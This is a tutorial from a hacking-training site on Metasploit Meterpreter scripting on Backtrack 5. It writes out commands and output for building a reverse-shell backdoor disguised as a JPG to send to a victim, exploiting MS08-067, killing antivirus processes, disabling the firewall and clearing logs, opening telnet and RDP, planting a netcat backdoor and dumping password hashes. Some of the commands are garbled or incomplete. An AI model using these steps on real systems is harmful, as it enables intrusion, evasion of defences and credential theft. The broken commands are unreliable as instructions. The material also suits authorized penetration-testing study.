Metasploit Meterpreter Scripting Backtrack 5 Tutorial

Information security is a broad field and it involves the penetration testing and computer forensic as well, there are so many tools are available to perform the penetration testing on the target, Metasploit is one of the best tool among them. Meterpreter is a powerful feature of metasploit that uses DLL injection
to communicate over the socket. Meterpreter works on the client-side by
providing a powerful environment to communicate, to transfer files.

meterpreter session can be established after successfully exploiting the
host. Available meterpreter scripts on a metasploit database automate
multiple processes, such as:

  • Capture the screen
  • Keylogging
  • File transfer
  • Service detection and more
with numerous meterpreter scripts available, you are free to write and
to create your own script that is best suited to your work. Some
important aspects about the meterpreter script would be:
  • Written in Ruby programming language
  • Located in the metasploit directory
  • Meterpreter scripts are creating everyday by different authors click here to check the list.
  • Meterpreter scripts are very helpful to automate the process after compromising the host
  • Meterpreter scripts are based on API and you can get more information here.
are so many meterpreter scripts that are available publicly for you to
use, but if you want to create a new meterpreter script of your own and
for public usage, this is readily doable. All you need to do is to
follow some rules and regulations so that your script does not conflict
with the standard variables. Ruby programming language is a basic need
in order to write a script for meterpreter. Other important rules to
follow are:
  • Always use description so that the others will understand it
  • Use local variable not global variable
  • Always provide help option for better usage
  • Keep
    in mind the target host (operating system, service pack (if windows),
    Kernel (for Unix) ) while creating a script, because all the system’s
    software does not contain all types of vulnerabilities
us consider an example: in our scenario, we need to create an infected
file (a backdoor) so that we can send it to the victim. Metasploit
needn’t be that big of a deal; you can even create a backdoor by using
[email protected]:~/Desktop# msfpayload windows/meterpreter/reverse_tcp LHOST=
LPORT=4444 Desktop > test.jpg
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
Length: 290
Options: {"LHOST"=>"", "LPORT"=>"4444"}

As we have typed all the things in, we can automate the process by creating a new script:
[email protected]:/pentest/exploits/framework3# touch a.rb
[email protected]:/pentest/exploits/framework3# echo msfpayload windows/meterpreter/reverse_tcp
LHOST= LPORT=4444 Desktop > test.jpg
[email protected]:/pentest/exploits/framework3# ruby a.rb
[email protected]:/pentest/exploits/framework3#

The result is
the same. It is also possible to create a jpg file but that method is
fast. Since the time-consuming method is repeating the same step, why
not create a script for that to do all these jobs automatically? There
are different meterpreter scripts are available; just look at the
picture below.
This is just one small example. Let’s create a script taking advantage of a vulnerability that will exploit an operating system:

[email protected]:/pentest/exploits/framework3# touch test.rc
[email protected]:/pentest/exploits/framework3# echo use exploit/windows/smb/ms08_067_netapi
use exploit/windows/smb/ms08_067_netapi
[email protected]:/pentest/exploits/framework3# echo set RHOST
[email protected]:/pentest/exploits/framework3# echo exploit
[email protected]:/pentest/exploits/framework3# msfconsole -r test.rc

Beyond this, if we use the manual technique to do then job, then we will need to define:
  • The exploit for this case (well I have used nessus before that is why I know the system is vulnerable to ms08-067-netapi bug)
  • We need to set the remote host manually
  • We need to set local host and port manually
the execution, the meterpreter session must be active if and only if
the operating system is vulnerable, such as in this case:
in this meterpreter session, we are able to call different scripts. We
can also create our own script as well, as discussed above. Below, I
will show you some of the best meterpreter scripts. These are highly
useful in the process of penetration testing; however, developers are
refining these scripts daily, so be active in the community and on
different blogs and forums to keep yourself updated.

Screenspy Script

This is the basic script that will capture the screen of the victim’s
computer. All you need to do is type in “run screenspy.” To get help of
usage, just type in “run screenspy -h” on the meterpreter screen. After
the execution, Firefox will open with a picture of the victim’s computer
at that moment.

KillAv Script

Killav script
is a pretty famous script. As the name suggests, it will kill (close)
antivirus softwares, so if you don’t want that antivirus’ software to
disturb you, be sure to kill all of these antivirus softwares by using
this script:

meterpreter > run killav
  [*] Killing Antivirus services on the target...
  meterpreter >

Killav contains the information
on most of the better known anti-virus’s, but if there is a new
anti-virus, then you will need to edit this script for the best
performance. As before with the script file, we can find the famous
anti-virus exe name:
  • winppr32.exe
  • winrecon.exe
  • winservn.exe
  • winssk32.exe
  • winstart.exe
  • winstart001.exe
  • wintsk32.exe
  • winupdate.exe
  • wkufind.exe
  • wnad.exe
  • wnt.exe
  • wradmin.exe
  • wrctrl.exe
  • wsbgate.exe
  • wupdater.exe
  • wupdt.exe
  • wyvernworksfirewall.exe
  • xpf202en.exe
  • zapro.exe
  • zapsetup3001.exe
  • zatutor.exe
  • zonalm2601.exe
  • zonealarm.exe

Getcountermeasure Script

Killav is a power script and it can kill a lot of different
anti-virus’s, but the problem is that when you implement killav, windows
may show some types of errors and other alerts, not to mention
firewalls. This is remedied by a wonderful script called

meterpreter > run getcountermeasure -h
  Getcountermeasure -- List (or optionally, kill) HIPS and AV
  processes, show XP firewall rules, and display DEP and UAC


  -d Disable built in Firewall
  -h Help menu.
  -k Kill any AV, HIPS and Third Party Firewall process found.

Just imagine how powerful this script is! It has an ability to fight
against Firewall, Anti-virus, IPS and even third party firewall that are
so very common nowadays. It is really better than Killav. To use it:

meterpreter > run getcountermeasure -d 

  [*] Running Getcountermeasure on the target...
  [*] Checking for contermeasures...
  [*] Getting Windows Built in Firewall configuration...
  [*]     Domain profile configuration:
  [*]     -------------------------------------------------------------------
  [*]     Operational mode = Enable
  [*]     Exception mode = Enable
  [*]     Standard profile configuration (current):
  [*]     -------------------------------------------------------------------
  [*]     Operational mode = Disable
  [*]     Exception mode = Enable
  [*]     Local Area Connection firewall configuration:
  [*]     -------------------------------------------------------------------
  [*]     Operational mode = Enable
  [*] Disabling Built in Firewall.....
  [*] Checking DEP Support Policy...
Try to understand the power of this wonderful script: it will remove security logs as well look at the picture.

Gettelnet script

is one of the most famous services on the windows operating system. It
will allow a remote connection, so if you want to open telnet on the
victim’s computer for future use, then it is a good script to use.
However, as an advance we can use SSH service for remote connection. We
can also install netcat as a backdoor on a compromised host for future
connections. Use this command to get more help
  meterpreter > gettelnet -h

There are a lot of different scripts are available but here we will
discuss only the most important ones. These will help you to understand
the network as well as help you for future connections:
Net Enum- Network Enumeration Script
Netenum is a network enumeration script that is a wonderful script for:
  • Domain Name for DNS Forward Lookup
  • To Perform DNS Forward Lookup on host list and domain
  • The target address range or CIDR identifier
  • To Perform DNS lookup of MX and NS records for a domain
  • To Perform Service Record DNS lookup for a domain
  • To Perform Ping Sweep on IP Range

Checkvm- Check Virtual Machine

machines are now an important part of enterprise network and most of
the large (and even small) networks are using them. Checkvm is a script
that will let you monitor the status of the victim, whether on virtual
machine or not. It will also let you see the type of virtual machine.
Here is the output of this case:

 meterpreter > run checkvm
  [*] Checking if target is a Virtual Machine .....
  [*] This is a Sun VirtualBox Virtual Machine
  meterpreter >

Virus Scan Bypass

Mcafee VirusScan Enterprise v8.7.0i+, uploads an executable to TEMP
folder, adds it to exclusion list and sets it to run at startup. Though
we have discussed two scripts that kill anti-virus protections, it is
good to run different scripts to verify your attack.
  meterpreter > run virusscan_bypass -h

Enable RDP- Getgui

you want a graphical user interface of the victim’s computer, then you
need to open a service called RDP (remote desktop protocol):
  meterpreter > run getgui -e
  [*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
  [*] Carlos Perez [email protected]
  [*] Enabling Remote Desktop
  [*]     RDP is disabled; enabling it ...
  [*] Setting Terminal Services service startup mode


Last but not the least: I really don’t want to end this article without
sharing hashdump, in case you want to secure password hashes from the
victim for future use. In some cases, these hashes works on other

 meterpreter > run hashdump
  [*] Obtaining the boot key...
  [*] Calculating the hboot key using SYSKEY 374d90e7c3ff37a0d6064c461200ca22...
  [*] Obtaining the user list and keys...
  [*] Decrypting user keys...
  [*] Dumping password hashes...

If you have some other wonderful scripts, please share with in the comments!

Note: If you want to learn more about Linux and Windows based Penetration testing, you might want to subscribe our RSS feed and Email Subscription  or become our Facebook fan! You will get all the latest updates at both the places.
Ehacking Staff
With more than 50 global partners, we are proud to count the world’s leading cybersecurity training provider. EH Academy is the brainchild of Ehacking, which has been involved in the field of training since the past Five years and continues to help in creating professional IT experts.

Most Popular

What Makes ICS/OT Infrastructure Vulnerable?

Infrastructure security for operational technologies (OT) and industrial control systems (ICS) varies from IT security in several ways, with the inverse confidentiality, integrity, and...

Everything You Must Know About IT/OT Convergence

What is an Operational Technology (OT)? Operational technology (OT) is a technology that primarily monitors and controls physical operations. It can automate and control machines,...

Understand the OT Security and Its Importance

This article discusses OT security and why it is essential for protecting industrial systems from cyberattacks. We will also discuss common control objectives that can...

What is Deepfake, and how does it Affect Cybersecurity?

Producing deepfake is easy. It is hard to detect. They operate with a description of reality rather than reality itself (e.g., a video). Any...